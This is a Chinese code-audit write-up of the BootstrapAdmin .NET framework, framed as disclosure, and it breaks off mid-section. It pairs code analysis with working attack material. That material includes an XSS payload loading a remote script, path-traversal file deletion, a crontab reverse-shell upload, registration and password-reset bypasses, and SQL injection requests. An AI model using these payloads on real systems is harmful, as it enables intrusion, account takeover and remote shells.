BootstrapAdmin .Net 代码审计

渗透技巧 11个月前 admin
283 0 0

首发于奇安信攻防社区
原文地址:
https://forum.butian.net/share/2239
原文作者:en0th
响尾蛇社区作者

0x00 前言

BootstrapAdmin 是基于 RBAC 的 Net7 后台管理框架。该项目获得GVP 奖杯并拥有1w+Star。 

本篇文章中的所有发现的相关漏洞已提交 Issues 或通知仓库拥有者本人。此前审计过PHP、JAVA的CMS,这次尝试审计使用.NET Core开发的Web网站。

这个不是传统的.NET WEB FRAMEWORK,因此我们没有看到项目中存在的Asp、Aspx等动态网页文件。紧随我的脚步,让我们一起感受代码审计的魅力。

.Net Framework 和 .Net Core 都包含了ASP.net,但是.Net Core中的ASP.net被重新设计过了,目前没有看到Web Form这个功能,只看到了MVC这个功能。

https://gitee.com/LongbowEnterprise/BootstrapAdmin

0x01 声明

公网上存在部署了旧版本的CMS,旧版本仍然存在这些问题。请不要非法攻击别人的服务器,如果你是服务器主人请升级到最新版本。

请严格遵守网络安全法相关条例!此分享主要用于交流学习,请勿用于非法用途,一切后果自付。一切未经授权的网络攻击均为违法行为,互联网非法外之地。

0x02 环境

BootstrapAdmin 版本:v6.0.0 MVC模式 

.Net SDK版本:5.0.408

系统环境:Window10/CentOS7

数据库:SQLite 数据库/Mysql8数据库

0x03 安装

为了更好的测试,我分别在window和Linux上搭建了项目。下面的教程是在 Centos7 版本上部署的教程。Window部署作者给出了教程。

1、拉取项目源代码

mkdir /home/projectcd /home/projectgit clone https://gitee.com/LongbowEnterprise/BootstrapAdmin.git -b v6.0.0

2、安装.NET SDK

官方教程:https://learn.microsoft.com/zh-cn/dotnet/core/install/linux-centos

你可以选择在线安装(比较慢)

rpm -Uvh https://packages.microsoft.com/config/centos/7/packages-microsoft-prod.rpmyum install -y dotnet-sdk-5.0 git wget net-tools

本地下载上传压缩包

我使用的是dotnet-sdk-5.0的,其他版本可以在 https://dotnet.microsoft.com/zh-cn/download/dotnet 找到。

手动安装的官方教程地址: 

https://learn.microsoft.com/zh-cn/dotnet/core/install/linux-scripted-manual#manual-install 

dotnet-sdk-5.0下载地址: 

https://download.visualstudio.microsoft.com/download/pr/904da7d0-ff02-49db-bd6b-5ea615cbdfc5/966690e36643662dcc65e3ca2423041e/dotnet-sdk-5.0.408-linux-x64.tar.gz 

我推荐上传到 /opt 目录下,如果你上传到了不同的目录,请修改下面的cd命令。

cd /optDOTNET_FILE=dotnet-sdk-5.0.408-linux-x64.tar.gzexport DOTNET_ROOT=$(pwd)/.dotnetmkdir -p "$DOTNET_ROOT" && tar zxf "$DOTNET_FILE" -C "$DOTNET_ROOT"export PATH=$PATH:$DOTNET_ROOT:$DOTNET_ROOT/tools

代码执行完成后。可以通过dotnet --list-sdks命令检查是否安装完毕。

3、配置Nginx 反向代理

01 安装Nginx

yum install -y wgetcd /usr/localwget http://nginx.org/download/nginx-1.19.8.tar.gzyum install -y gcc-c++ pcre pcre-devel zlib  zlib-devel openssl openssl-develtar -zxvf nginx-1.19.8.tar.gzcd /usr/local/nginx-1.19.8/./configure --with-http_ssl_modulemakemake installln -s /usr/local/nginx/sbin/nginx /usr/bin/nginx -f

02 配置Nginx

执行使用命令 vi /usr/local/nginx/conf/nginx.conf进行编辑配置文件。这里参考: 

https://gitee.com/LongbowEnterprise/BootstrapAdmin/wikis/Nginx%20%E9%85%8D%E7%BD%AE 

我省略了其中443的部分,因为测试环境无需用到。

#user  nobody;worker_processes  1;
#error_log logs/error.log;#error_log logs/error.log notice;#error_log logs/error.log info;
#pid logs/nginx.pid;

events { worker_connections 1024;}
http{ include mime.types; default_type application/octet-stream;
#log_format main '$remote_addr - $remote_user [$time_local] "$request" ' # '$status $body_bytes_sent "$http_referer" ' # '"$http_user_agent" "$http_x_forwarded_for"';
#access_log logs/access.log main;
sendfile on; #tcp_nopush on;
#keepalive_timeout 0; keepalive_timeout 65;
#gzip on;
upstream ba { server localhost:50852; }
server { listen 80; server_name localhost; error_page 404 500 /50x.html; proxy_redirect off; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; location / { proxy_connect_timeout 1; proxy_pass http://ba/; } location /NotiHub { proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection "upgrade"; proxy_pass http://ba/NotiHub; } location /TaskLogHub { proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection "upgrade"; proxy_pass http://ba/TaskLogHub; } location = /50x.html { root html; } error_page 404 500 502 503 504 /50x.html; }
server { listen 8080; server_name localhost; error_page 404 500 /50x.html; proxy_redirect off; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; location / { proxy_connect_timeout 1; proxy_pass http://client/; } location = /50x.html { root html; } error_page 404 500 502 503 504 /50x.html; }
upstream client { server localhost:49185; } }

03 启动Nginx

测试配置正确与否:/usr/local/nginx/sbin/nginx -t 

运行nginx::/usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf 

重新加载:/usr/local/nginx/sbin/nginx -s reload

4、启动项目

cd /home/project/BootstrapAdminexport DOTNET_SYSTEM_GLOBALIZATION_INVARIANT=1nohup dotnet run --project ./src/mvc/admin/Bootstrap.Admin &nohup dotnet run --project ./src/mvc/client/Bootstrap.Client &

启动后任然无法访问,需要关闭防火墙:

systemctl disable firewalldsystemctl stop firewalld

启动后访问http://localhost:50852/Account/Login即可

5、更换数据库

我这里使用的可视化管理Mysql工具为DBeaver 先在本地Mysql服务创建一个命名为BA的数据库。注意选择一下字符集utf8mb4_general_ciBootstrapAdmin .Net 代码审计创建完数据库后,我们先将BootstrapAdmindbMySQL目录下的initData.sql 在第一行添加set character set utf8mb4; 如果不做这一步,在后续操作会无法恢复该文件。BootstrapAdmin .Net 代码审计修改完后右键数据库选择恢复数据库。BootstrapAdmin .Net 代码审计通过这个功能分别导入两个sql文件。BootstrapAdmin .Net 代码审计修改配置文件应用Mysql服务。 BootstrapAdminsrcmvcadminBootstrap.Adminappsettings.jsonBootstrapAdmin .Net 代码审计BootstrapAdminsrcmvcadminBootstrap.Adminappsettings.Development.jsonBootstrapAdmin .Net 代码审计重新生成后出现以下错误。BootstrapAdmin .Net 代码审计在Visual Studio帮助旁边的搜索栏搜索 NugetBootstrapAdmin .Net 代码审计在弹出的窗口选择游览,搜索Mysql,下载安装Mysql.Data 8.029这个版本。因为最新版本不支持.Net5.0。BootstrapAdmin .Net 代码审计安装完毕后重新生成启动即可。

0x04 代码审计

【前台】错误返回页面存在反射型XSS(无Cookie)

漏洞利用

经典的 a 标签 href 属性XSS注入,使用简单 payload:javascript:alert(8007) 点击返回首页时可以触发Script脚本。请求路径:http://localhost:50852/Home/Error/404?ReturnUrl=BootstrapAdmin .Net 代码审计使用 xssye.com 构造利用方式。

javascript:eval(atobdmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHA6Ly94c3N5ZS5jb20vejNxVyI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs=) 

参考:

BootstrapAdmin .Net 代码审计当我们点击返回首页时执行了我们的跨站脚本,可以在xssye.com后台中看到数据,但是没有获取到Cookie。BootstrapAdmin .Net 代码审计Cookie都有 HttpOnly 所以获取不到。BootstrapAdmin .Net 代码审计

漏洞定位

BootstrapAdminsrcmvcadminBootstrap.AdminControllersHomeController.csBootstrapAdmin .Net 代码审计这里的 returnUrl 是通过Request Query获取的,也就是GET方式请求获取Query数据。 Request.Query[CookieAuthenticationDefaults.ReturnUrlParameter].ToString(); 对应的cshtml文件 BootstrapAdminsrcmvcadminBootstrap.AdminViewsSharedError.cshtmlBootstrapAdmin .Net 代码审计

@Url.Content 方法返回一个应用程序中的虚拟路径的绝对 URL。它可以用于生成包含应用程序根路径的 URL,这对于在视图中使用相对路径引用 CSS、JavaScript 和图像等文件非常有用。在 Razor 视图中,默认情况下会进行 HTML 实体编码,以避免跨站点脚本攻击。这意味着在模型属性的值插入到 HTML 中时,会自动将特殊字符(如 <, >, & 等)转换成对应的 HTML 实体编码。

【后台】头像任意文件删除

权限:后台普通用户权限

漏洞利用

为了测试,我现在目录BootstrapAdminsrc下新建命名为don't_delete_me.txt的文件。BootstrapAdmin .Net 代码审计使用管理员默认账户登录后台:Admin/123789 访问:http://localhost:50852/Admin/Profiles 在左侧栏找到个人中心,进入后找到修改头像处。BootstrapAdmin .Net 代码审计任意上传一张图像,然后点击删除。抓包修改包的内容。头像存储的相对路径是BootstrapAdminsrcmvcadminBootstrap.Adminwwwrootimagesuploader 将 key 修改成............don't_delete_me.txtBootstrapAdmin .Net 代码审计请求包:

POST http://localhost:50852/api/Profiles/Delete HTTP/1.1Host: localhost:50852Content-Length: 42sec-ch-ua: "Chromium";v="89", ";Not A Brand";v="99"Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://localhost:50852Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://localhost:50852/Admin/ProfilesAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: .AspNetCore.Antiforgery.a2HlFfgw_P8=CfDJ8PEsgr_mSMxFurYJD90kTRdDutnyswhgQAajLp51T2b4dYv1uTICnGVL5VbVaPJDUc3r70GoHtQB2Vj7oYm-nLhDCG9W_mj5-8IB2FhB271EWYmMSylfSZlNpTFa3Bjf2r_UhJSfp1Bd5BPtXwzV6_I; .AspNetCore.Cookies=CfDJ8PEsgr_mSMxFurYJD90kTRfdrk0fKJRgNBBGJh87RD57SJijn1hT9IhdiA0zf0iJmcS8FhwRVuJ0vRc_TtyVbrYpbGm_YrC8ZzLRK9P8u4AZImRchxPy9WBPUhMMx1p9xex3eUomUXRKzT5yx12qpn93BDSxLApgseVLQLucY5kAtph1GMb1V17dFqbe0ieA99eoYMLFYT_KBcncZFdFE7cAUAJWj0msoM8Uwb9aRSXaVdqklQvxohYvXa0zEFcUSzKpbJbYWIGYDMzW3WJvehlx6i8nDEneQaHVeR801qSlConnection: close
key=............don't_delete_me.txt

我在Linux系统上创建了delete_me.txt文件。BootstrapAdmin .Net 代码审计通过使用 payload/../../../../../../../../delete_me.txt将文件删除了。BootstrapAdmin .Net 代码审计报错是因为我修改了全局的头像路径不用理会。那么有人可能问了,如果修改了字典里的头像路径为什么还能删除我们指定的文件呢?原因是它是这么拼接的: fileName = Path.Combine(env.WebRootPath, $"images{Path.DirectorySeparatorChar}uploader{Path.DirectorySeparatorChar}{fileName}"); 直接写死了images/uploader而不是通过字典获取路径。具体的代码在下面可以看到。

漏洞定位

请求路径为http://localhost:50852/api/Profiles/Delete 后端处理文件为: BootstrapAdminsrcmvcadminBootstrap.AdminControllersApiProfilesController.cs 对api/Profiles的Post请求就会进入到这个函数,它的请求格式为api/Profiles/{id} 这里先对id进行了判断,然后获取我们传入的Key。这里的[FromForm] DeleteFileCollection files已经将请求body的参数转换成DeleteFileCollection对象了,所以files.Key就是我们输入的............don't_delete_me.txtBootstrapAdmin .Net 代码审计

Path.Combine 函数用于将字符串组合成文件或目录路径。它是一种安全的连接路径的方式,因为它会自动添加正确的目录分隔符。但是,需要注意的是,Path.Combine不会验证或清理输入路径。开发人员有责任确保输入路径是安全的,不包含任何恶意或意外字符。

这里没有对拼接的路径进行任何过滤,所以我们可以进行目录遍历删除文件。

【后台】头像任意文件上传

权限:后台普通用户权限

漏洞利用

使用管理员默认账户登录后台:Admin/123789 访问http://localhost:50852/Admin/Users 新建一个名为 root 的账户,密码随意,也不需要给权限。BootstrapAdmin .Net 代码审计然后进入字典表维护http://localhost:50852/Admin/Dicts 在字典代码输入~/../../../../../../../../../var/spool/cron/ 这里的../多少无所谓主要是要跳到根目录,其次注意的是Ubuntu的计划任务目录在 /var/spool/cron/crontabsBootstrapAdmin .Net 代码审计我们退出Admin账户,重新登录root账户,然后到个人中心处上传图片后抓包。BootstrapAdmin .Net 代码审计

Content-Disposition: form-data; name="file_data"; filename="."Content-Type: image/jpeg
* * * * * bash -i >& /dev/tcp/192.168.68.1/6666 0>&1%0a

需要注意的是我们需要将%0a进行URL编码解码发包才可以。BootstrapAdmin .Net 代码审计解码之后发送请求。BootstrapAdmin .Net 代码审计到测试服务器上查看,发现已经写入。BootstrapAdmin .Net 代码审计Windows 开 nc 监听等待一分钟也能连上,至此成功Getshell。BootstrapAdmin .Net 代码审计

漏洞定位

BootstrapAdminsrcmvcadminBootstrap.AdminControllersApiProfilesController.cs 这里的 fileName 是使用当前用户名拼接上传文件的 filename 得来的,所以我们在上传文件的时候修改后缀 .asp 即可上传木马文件。BootstrapAdmin .Net 代码审计为什么无法解析呢?我们往下看。 BootstrapAdminsrcmvcadminBootstrap.AdminStartup.cs app.UseStaticFiles() 中间件默认配置为从“wwwroot”目录提供文件服务。BootstrapAdmin .Net 代码审计设置了这个中间件去访问动态文件 asp 时会因为app.UseStatusCodePagesWithReExecute("/Home/Error/{0}");返回/Home/Error/404的界面。访问:http://localhost:50852/Admin/ProfilesBootstrapAdmin .Net 代码审计找到修改头像,选择一句话木马后上传,抓包修改后缀名为 asp 放包即可。BootstrapAdmin .Net 代码审计可以看到文件已经上传成功了。BootstrapAdmin .Net 代码审计虽然文件上传成功,但很可惜,无法解析。BootstrapAdmin .Net 代码审计我注意到fileName = $"{userName}{Path.GetExtension(uploadFile.FileName)}"; 路径拼接中使用了userName,那我可以尝试通过修改用户名来达到目录穿越的目的。更新用户名,PUT http://localhost:50852/api/ProfilesBootstrapAdmin .Net 代码审计很可惜存在 UserName与 当前登录用户名进行判断,我们没办法通过这个判断。 BootstrapAdminsrcmvcadminBootstrap.AdminControllersApiProfilesController.csBootstrapAdmin .Net 代码审计还有一个地方可以编辑,那就是用户管理。BootstrapAdmin .Net 代码审计抓包修改之后修改UserName,但是实际上没有修改成功。BootstrapAdmin .Net 代码审计这里没有使用到我们的 UserName,但我们可以新建一个账户。 BootstrapAdminsrcmvcadminBootstrap.AdminControllersApiUsersController.csBootstrapAdmin .Net 代码审计随意创建一个用户。BootstrapAdmin .Net 代码审计修改请求中的 UserNameBootstrapAdmin .Net 代码审计BootstrapAdminsrcmvcadminBootstrap.AdminControllersApiUsersController.csBootstrapAdmin .Net 代码审计进入到 UserHelper.Save BootstrapAdminsrcmvcadminBootstrap.DataAccessHelperUserHelper.csBootstrapAdmin .Net 代码审计继续进入到 UserHelper.UserChecker,其中针对我们传入的 UserName 进行了长度限制和正则匹配。很显然我们输入的..\..\..\..\没法通过匹配。BootstrapAdmin .Net 代码审计我将注意力放到 webSiteUrl var filePath = Path.Combine(env.WebRootPath, webSiteUrl.Replace("~", string.Empty).Replace('/', Path.DirectorySeparatorChar).TrimStart(Path.DirectorySeparatorChar) + fileName); 这是最终拼接路径的语句,其中的webSiteUrl是通过字典获取的。 var webSiteUrl = DictHelper.RetrieveIconFolderPath(); 我们到字典表维护功能,就可以找到头像路径的设置。 http://localhost:50852/Admin/DictsBootstrapAdmin .Net 代码审计将字典代码内容修改成~/../../../../../../../BootstrapAdmin .Net 代码审计这个时候我们再次上传就可以看到路径已经拼接好了。BootstrapAdmin .Net 代码审计BootstrapAdmin .Net 代码审计在 Windows 情况下,我们没有办法通过上传木马GetShell。有人就要问了,覆盖报错页面的 cshtml 就可以了。想法很好,但很可惜,在ASP.NET Core应用程序中,cshtml文件是视图文件,用于呈现HTML内容。这些文件通常在应用程序启动时被编译,并在运行时作为静态文件提供。因此,在程序运行时修改cshtml文件是不可能的。

Cmd 临时开启 UTF-8编码,可以使用命令 chcp 65001。参考 https://learnku.com/articles/55553

我在Linux上传计划任务时卡了一会,因为crontab的文件要以换行符结尾。否则没法执行计划任务。但如果直接换行或者Shift+Enter(输入rn)结果是^M

^M 是一个特殊的字符,也称为回车符或者Carriage Return符号。它通常表示为r。当在Windows中使用文本编辑器或其他工具编辑文件时,该文件的行结束符可能会以回车符(r)和换行符(n)的组合表示。在Linux和Unix系统中,行结束符通常只是一个换行符(n)。在计划任务语句中,如果包含回车符(r),它会被解释为一个命令或参数的一部分,可能会导致计划任务执行失败。

BootstrapAdmin .Net 代码审计所以我想到需要编辑Hex,而BurpSuite2020及之后版本都没法直观的编辑Hex。官方给的说明如下(Google翻译过后的)BootstrapAdmin .Net 代码审计

可以通过链接直达该官方说明:

https://portswigger.net/burp/documentation/desktop/tools/inspector/modify-requests

也就是先添加一个字符,然后选中,再通过右侧小部件编辑。BootstrapAdmin .Net 代码审计但是我试了一下还是不行,不如直接使用%0aURL解码一下就行了。

【前台】越权添加账户

漏洞利用

访问登录界面http://localhost:50852/Account/LoginBootstrapAdmin .Net 代码审计点击申请账号,任意填写内容后点击提交并抓包。BootstrapAdmin .Net 代码审计修改请求包,添加两项内容:

"ApprovedTime":"2023-05-04 18:44:20.9316203","ApprovedBy":"system"

BootstrapAdmin .Net 代码审计请求包:

POST /api/Register HTTP/1.1Host: localhost:50852Content-Length: 150sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"Accept: application/json, text/javascript, */*; q=0.01Content-Type: application/jsonX-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36sec-ch-ua-platform: "Windows"Origin: http://localhost:50852Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://localhost:50852/Account/Login?AppId=BAAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: .AspNetCore.Antiforgery.a2HlFfgw_P8=CfDJ8Gs8oXs1rxRKjEnWjDIDxNbJjshI1qzQp5CuMqbXtCMkdL2neNZavWmBhuthWZKWz33fafGSx248iRpmB60ypJVZklddoKZx_r5WUEYb6NlFnr8NezIO2vRdhVD2dAcFCSwZJTQffPO8V4Ua3hJC-90Connection: close
{"UserName":"test","Password":"123456","DisplayName":"test","Description":"test","ApprovedTime":"2023-05-04 18:44:20.9316203","ApprovedBy":"system"}

放包后,我们可以使用管理员账号在后台查看用户相关数据。发现已经添加成功。BootstrapAdmin .Net 代码审计使用我们刚刚注册的账号进行登录。可以看到能够登录,也就是说绕过了注册账号需要管理员通过的操作BootstrapAdmin .Net 代码审计可以看到是 test 账户,现在是默认权限的状态。BootstrapAdmin .Net 代码审计当我访问 http://localhost:50852/api/Users?search=&sort=RegisterTime&order=desc&offset=0&limit=20&name=&displayName=&_=1683257070879时可以获取所有用户的用户相关信息。这个功能当前用户应当没有权限,只有管理员有用户管理的面板。属于越权操作了。BootstrapAdmin .Net 代码审计BootstrapAdmin .Net 代码审计

漏洞定位

我们在请求http://localhost:50852/api/Register时会先进入到: BootstrapAdminsrcmvcadminBootstrap.AdminControllersApiRegisterController.csBootstrapAdmin .Net 代码审计进入到UserHelper.Save函数 BootstrapAdminsrcmvcadminBootstrap.DataAccessHelperUserHelper.cs 这里进行了三个判断:

  1. 判断输入的用户数据是否符合标准 UserChecker
  2. 根据输入的用户名判断用户是否已经存在
  3. 判断是否是演示系统,如果是演示系统就根据输入ID判断用户是否已经存在。显然这里不是演示系统。

我们输入用户名是不存在的且符合标准,所以进入到保存操作。 DbContextManager.Create<User>()?.Save(user)BootstrapAdmin .Net 代码审计BootstrapAdminsrcmvcadminBootstrap.DataAccessUser.cs 到这里直接通过db.Insert操作将我们传入的所有数据进行了保存操作。BootstrapAdmin .Net 代码审计那么为什么我们添加了ApprovedTimeApprovedBy就可以登录了呢?我们去看看登录控制器。 BootstrapAdminsrcmvcadminBootstrap.AdminControllersAccountController.cs 这里存在用户爆破漏洞,因为没有进行验证码校验,不过不是我们目前漏洞的重点。BootstrapAdmin .Net 代码审计只要用户名和密码不为空就进入到 UserHelper.Authenticate。 BootstrapAdminsrcmvcadminBootstrap.DataAccessHelperUserHelper.csBootstrapAdmin .Net 代码审计这里进入到Authenticate函数 BootstrapAdminsrcmvcadminBootstrap.DataAccessUser.csBootstrapAdmin .Net 代码审计可以看到这里的查询语句条件中忽略了ApprovedTime为空的用户数据,所以只要我们添加了ApprovedTime就可以登录。

【前台】任意重置密码

漏洞利用

进入到后台登录页面http://localhost:50852/Account/LoginBootstrapAdmin .Net 代码审计进入到忘记密码界面,账号处输入Admin即默认管理员账户登录名称,其他字段信息随意填写。BootstrapAdmin .Net 代码审计我们提交之后再发送一个重置密码的包即可,这个包不需要任何权限。BootstrapAdmin .Net 代码审计请求包:

PUT /api/Register/Admin HTTP/1.1Host: localhost:50852Content-Length: 21sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"Accept: application/json, text/javascript, */*; q=0.01Content-Type: application/jsonX-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36sec-ch-ua-platform: "Windows"Origin: http://localhost:50852Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://localhost:50852/Account/Login?AppId=BAAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: .AspNetCore.Antiforgery.a2HlFfgw_P8=CfDJ8Gs8oXs1rxRKjEnWjDIDxNbJjshI1qzQp5CuMqbXtCMkdL2neNZavWmBhuthWZKWz33fafGSx248iRpmB60ypJVZklddoKZx_r5WUEYb6NlFnr8NezIO2vRdhVD2dAcFCSwZJTQffPO8V4Ua3hJC-90Connection: close
{"Password":"123456"}

这个时候我们再使用Admin/123456即可登录管理员权限账户。BootstrapAdmin .Net 代码审计

漏洞定位

我们先关注到http://localhost:50852/api/Register/Admin这个路径的处理函数 BootstrapAdminsrcmvcadminBootstrap.AdminControllersApiRegisterController.csBootstrapAdmin .Net 代码审计进入到UserHelper.ResetPassword函数 BootstrapAdminsrcmvcadminBootstrap.DataAccessHelperUserHelper.cs 这里进行了2个判断:

  1. 对用户输入的用户名和密码进行标准检查
  2. 判断是否是演示系统,如果是演示系统就不允许修改AdminUser这两个账户。这里不是演示系统。

BootstrapAdmin .Net 代码审计通过了两个判断后,进入到ResetPassword函数。 BootstrapAdminsrcmvcadminBootstrap.DataAccessUser.cs 这里先有一个根据传入的用户名判断是否有提交重置密码请求,这里必须要有重置密码请求记录。通过了这个判断之后,就是进行db.Update操作了。BootstrapAdmin .Net 代码审计

【后台】查询日志接口存在SQL注入

权限:后台普通用户权限

漏洞利用

使用任意账号登录都能请求 http://localhost:50852/api/Logs接口 此接口的SortOrder没有使用Linq进行转义导致注入漏洞的产生。 基于报错注入: http://localhost:50852/api/Logs?OperateTimeEnd=&OperateTimeStart=2023-05-06&limit=1&offset=0&operateType=&order=concat(0x7e,database(),0x7e),3)&sort=updatexml(1,BootstrapAdmin .Net 代码审计请求包:

GET /api/Logs?OperateTimeEnd=&OperateTimeStart=2023-05-06&limit=1&offset=0&operateType=&order=concat(0x7e,database(),0x7e),3)&sort=updatexml(1, HTTP/1.1Host: localhost:50852sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: .AspNetCore.Antiforgery.a2HlFfgw_P8=CfDJ8Gs8oXs1rxRKjEnWjDIDxNYIk8qTrVAchQMdNQDsqE0fBboelKrRDrSlcNGeSNFI1jNSivWc5b5t8tkI1SES8xumGS6HdMyCcTFdEqocP7y74P26iG_iKW6RRYrazzhQNkcvDfYzcxAzdbm-f5FqO88; .AspNetCore.Cookies=CfDJ8Gs8oXs1rxRKjEnWjDIDxNaE3CXKRjutQdTU9MI2xO1nRk7yd-9PgK41JPtnvxNoybJwZclKPosGkyWisjmmpaB2xJkLw04jWnB1ZpvrHYBNhbm02wR62IXpOdYVnmBRgSs7UrKRDnk-fAR9CRWNiYrLr5Dq9irg-R7uxSbuwu1A-eKvcQUsLvd_nvlRmExl_ay-3wo0v1rvUe1pwpbhyzzda5HLQbh0XOMmor5h0q66o9vFYO5dgBUGqYxpBidWCv0PoKzqGQeA_8dxsBolEctWPrQEKakod3mJ1HrIKQR1Connection: close

基于时间注入:BootstrapAdmin .Net 代码审计请求包:

GET /api/Logs?OperateTimeEnd=&OperateTimeStart=2023-05-06&limit=1&offset=0&operateType=&order=sleep(10))&sort=if(1=2,1, HTTP/1.1Host: localhost:50852sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: .AspNetCore.Antiforgery.a2HlFfgw_P8=CfDJ8Gs8oXs1rxRKjEnWjDIDxNYIk8qTrVAchQMdNQDsqE0fBboelKrRDrSlcNGeSNFI1jNSivWc5b5t8tkI1SES8xumGS6HdMyCcTFdEqocP7y74P26iG_iKW6RRYrazzhQNkcvDfYzcxAzdbm-f5FqO88; .AspNetCore.Cookies=CfDJ8Gs8oXs1rxRKjEnWjDIDxNaE3CXKRjutQdTU9MI2xO1nRk7yd-9PgK41JPtnvxNoybJwZclKPosGkyWisjmmpaB2xJkLw04jWnB1ZpvrHYBNhbm02wR62IXpOdYVnmBRgSs7UrKRDnk-fAR9CRWNiYrLr5Dq9irg-R7uxSbuwu1A-eKvcQUsLvd_nvlRmExl_ay-3wo0v1rvUe1pwpbhyzzda5HLQbh0XOMmor5h0q66o9vFYO5dgBUGqYxpBidWCv0PoKzqGQeA_8dxsBolEctWPrQEKakod3mJ1HrIKQR1Connection: close

更多利用方式请看:

https://yang1k.github.io/post/sql%E6%B3%A8%E5%85%A5%E4%B9%8Border-by%E6%B3%A8%E5%85%A5/

漏洞定位

BootstrapAdminsrcmvcadminBootstrap.DataAccessLog.cs 在SQL语句拼接时SortOrder没有使用 Linq 进行转义BootstrapAdmin .Net 代码审计

【后台】查询所有SQL日志信息接口存在SQL注入

权限:后台普通用户权限

漏洞利用

http://localhost:50852/api/SQL http://localhost:50852/api/SQL?offset=0&limit=20&UserName=&OperateTimeStart=2023-05-06&OperateTimeEnd=&order=concat(0x7e,database(),0x7e),3)&sort=updatexml(1,BootstrapAdmin .Net 代码审计请求包:

GET /api/SQL?offset=0&limit=20&UserName=&OperateTimeStart=2023-05-06&OperateTimeEnd=&order=concat(0x7e,database(),0x7e),3)&sort=updatexml(1, HTTP/1.1Host: localhost:50852sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"Accept: application/json, text/javascript, */*; q=0.01Content-Type: application/jsonX-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://localhost:50852/Admin/SQLAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: .AspNetCore.Antiforgery.a2HlFfgw_P8=CfDJ8Gs8oXs1rxRKjEnWjDIDxNYIk8qTrVAchQMdNQDsqE0fBboelKrRDrSlcNGeSNFI1jNSivWc5b5t8tkI1SES8xumGS6HdMyCcTFdEqocP7y74P26iG_iKW6RRYrazzhQNkcvDfYzcxAzdbm-f5FqO88; .AspNetCore.Cookies=CfDJ8Gs8oXs1rxRKjEnWjDIDxNaE3CXKRjutQdTU9MI2xO1nRk7yd-9PgK41JPtnvxNoybJwZclKPosGkyWisjmmpaB2xJkLw04jWnB1ZpvrHYBNhbm02wR62IXpOdYVnmBRgSs7UrKRDnk-fAR9CRWNiYrLr5Dq9irg-R7uxSbuwu1A-eKvcQUsLvd_nvlRmExl_ay-3wo0v1rvUe1pwpbhyzzda5HLQbh0XOMmor5h0q66o9vFYO5dgBUGqYxpBidWCv0PoKzqGQeA_8dxsBolEctWPrQEKakod3mJ1HrIKQR1Connection: close

漏洞定位

BootstrapAdminsrcmvcadminBootstrap.DataAccessDBLog.cs 在SQL语句拼接时SortOrder没有使用 Linq 进行转义BootstrapAdmin .Net 代码审计

【后台】获得登录用户的分页数据接口存在SQL注入

权限:后台普通用户权限

漏洞利用

http://localhost:50852/api/Login http://localhost:50852/api/Login?&offset=0&limit=20&startTime=2023-05-06&endTime=&loginIp=&order=concat(0x7e,database(),0x7e),3)&sort=updatexml(1,BootstrapAdmin .Net 代码审计请求包:

